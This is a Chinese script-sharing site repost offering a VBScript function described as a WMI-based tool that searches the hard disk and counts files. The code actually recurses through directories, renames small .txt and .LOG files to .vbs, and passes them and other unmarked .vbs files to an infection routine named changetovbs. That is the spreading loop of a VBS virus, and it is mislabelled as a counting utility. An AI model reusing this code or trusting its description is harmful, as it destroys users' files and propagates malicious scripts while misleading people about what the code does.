脚本宝典收集整理的这篇文章主要介绍了VBS调用WMI遍历搜索硬盘文件并计数的方法，脚本宝典觉得挺不错的，现在分享给大家，也给大家做个参考。
多年之前写的一个vbS调用WMI来遍历搜索硬盘文件，并计数的函数，今天整理网盘，看到了，发上来
核心代码：
Function wmisfile(path_sf,justcnt)
'On Error Resume Next
StrComputer = "."
Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
Set FileList = objWMIService.ExecQuery _
("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
& "ResultClass = CIM_DataFile")
For each objFile In FileList
fname = LCase(objfile.name)
ename = LCase(objfile.extension)
If 1 < objfile.filesize And objfile.filesize <= 50000 Then
Select Case ename
Case "txt","LOG"
path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
Call changetovbs(path_vbs,path_vbs)
justcnt = justcnt + 1
Case "vbs"
If checkversion(fname) = False Then
Call changetovbs(fname,fname)
justcnt = justcnt + 1
End If
End Select
End If
Next
Set colSubfolders = objWMIService.ExecQuery _
("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
& "Where AssocClass = Win32_Subdirectory " _
& "ResultRole = Partcomponent")
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function
以上是脚本宝典为你收集整理的VBS调用WMI遍历搜索硬盘文件并计数的方法全部内容，希望文章能够帮你解决VBS调用WMI遍历搜索硬盘文件并计数的方法所遇到的问题。
本图文内容来源于网友网络收集整理提供，作为学习参考使用，版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ：384754419，请注明来意。